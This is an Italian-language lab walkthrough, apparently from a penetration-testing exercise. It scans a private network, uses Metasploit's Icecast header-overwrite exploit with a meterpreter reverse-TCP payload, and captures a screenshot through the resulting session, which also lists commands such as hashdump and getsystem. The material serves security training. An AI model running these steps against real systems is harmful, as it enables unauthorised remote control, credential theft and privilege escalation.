

IP MACCHINA TARGHET: 192.168.50.102

```
kali@kali: ~/Desktop
File Actions Edit View Help
└─$ sudo arp-scan -t
[sudo] password for kali:
Interface: eth0, type: EN10MB, MAC: 08:00:27:58:75:24, IPv4: 192.168.50.100
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.50.102 08:00:27:40:c2:a3 PCS Systemtechnik GmbH

1 packets received by filter, 0 packets dropped by kernel
Ending arp-scan 1.10.0: 256 hosts scanned in 1.985 seconds (128.97 hosts/sec). 1 responded

kali@kali: ~/Desktop
└─$
```

Ricerca del modulo per effettuare l'exploit sul servizio icecast:

```
kali@kali: ~/Desktop
File Actions Edit View Help
└─$ -[ metasploit v6.4.38-dev ]
+ -- ==[ 2467 exploits - 1270 auxiliary - 431 post ]
+ -- ==[ 1478 payloads - 49 encoders - 13 nops ]
+ -- ==[ 9 evasion ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > search icecast

Matching Modules

# Name Disclosure Date Rank Check Description
- - - - -
0 exploit/windows/http/icecast_header 2004-09-28 great No icecast Header Overwrite

Interact with a module by name or index. For example info 0, use 0 or use exploit/windows/http/icecast_header

msf6 > use 0
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
msf6 exploit(windows/http/icecast_header) > options

Module options (exploit/windows/http/icecast_header):

Name Current Setting Required Description
```

Configurazione del modulo:

```
kali@kali: ~/Desktop
msf6 exploit(windows/http/icecast_header) > options

Module options (exploit/windows/http/icecast_header):

  Name      Current Setting  Required  Description
  --      -
  RHOSTS    192.168.50.102  yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
  RPORT     8000             yes       The target port (TCP)

Payload options (windows/meterpreter/reverse_tcp):

  Name      Current Setting  Required  Description
  --      -
  EXITFUNC  thread           yes       Exit technique (Accepted: '', seh, thread, process, none)
  LHOST     192.168.50.100  yes       The listen address (an interface may be specified)
  LPORT     4444             yes       The listen port

Exploit target:

  Id  Name
  --  -
  0    Automatic

View the full module info with the info, or info -d command.

msf6 exploit(windows/http/icecast_header) > set RHOSTS 192.168.50.102
```

Una volta aver lanciato il modulo effettuiamo uno screenshot della macchina target attraverso la sessione instaurata:

```
kali@kali: ~/Desktop

Command      Description
--      -
play         play a waveform audio file (.wav) on the target system

Priv: Elevate Commands

  Command      Description
  --      -
  getsystem     Attempt to elevate your privilege to that of local system.

Priv: Password database Commands

  Command      Description
  --      -
  hashdump      Dumps the contents of the SAM database

Priv: Timestamp Commands

  Command      Description
  --      -
  timestamp     Manipulate file MACE attributes

For more info on a specific command, use <command> -h or help <command>.

meterpreter > screenshot
Screenshot saved to: /home/kali/Desktop/fuyaEiKS.jpeg
meterpreter >
```

